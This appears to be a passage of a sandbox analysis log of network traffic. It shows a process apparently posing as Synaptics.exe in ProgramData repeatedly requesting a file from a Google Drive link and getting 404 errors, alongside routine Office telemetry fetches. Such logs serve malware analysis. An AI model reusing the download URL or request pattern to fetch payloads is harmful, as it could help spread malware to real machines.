2024-12-05 23:16:02 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49912	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-cV3lM0FKt-M_LWW5fzKS4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49913	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:04 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:03 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HdF4UB53WXDv2Wi8iZyC5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC6cT95AireJvCs0z5KeoPNyKMuJVls0_CBqJAZ7SI6o5M8D2BUzZZIIejm_eq9zfPAGHXM Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:04 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404
2024-12-05 23:16:04 UTC	1390	IN	Data Raw: 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 79 35 58 63 70 62 4f 45 30 46 59 33 76 4d 47 52 62 5a 65 39 65 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 Data Ascii: (Not Found)!!1</title><style nonce="y5XcpbOE0FY3vMGRbZe9ew">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padd
2024-12-05 23:16:04 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49915	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:04 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:04 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-A8nAvMuFpgSac-OWtCHLAA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 X-GUploader-UploadID: AFiumC5CWYrk7zQfy3Gz9nUzP_2kafZUpHrMMtflyBhH2Bw7OYK41O0v9ErZHgoPmOKplATrH8IDtztkKA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:16:04 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:16:04 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 38 6d 68 45 64 71 51 75 31 72 4a 6c 4a 50 4c 67 56 63 37 46 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="z8mhEdqQu1rJlJPLgVc7FQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:16:04 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49914	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:16:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:16:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-H8O8GfRS7q-Ie9yiW01BHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2b878731-501e-008c-34ce-45cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231604Z-1746fd949bdjzh7thC1EWR3g6400000003eg0000000073px x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:04 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: c2a94a43-501e-00a0-7dd0-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231604Z-1746fd949bdjzh7thC1EWR3g64000000039g00000000v4fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6818e2c2-d01e-0065-16d2-45b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231604Z-1746fd949bdwt8wrhC1EWRu6rg00000003gg00000000cxkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 6223bc78-401e-0015-38b6-450e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231604Z-1746fd949bddgsvjhC1EWRum2c00000003mg00000000gpw2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:16:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 864f0b94-901e-00a0-42cc-456a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231604Z-1746fd949bd6zq92hC1EWRry4800000003dg000000003b7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:16:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49922	13.107.246.63	443	5816	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:16:05 UTC	219	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.azureedge.net
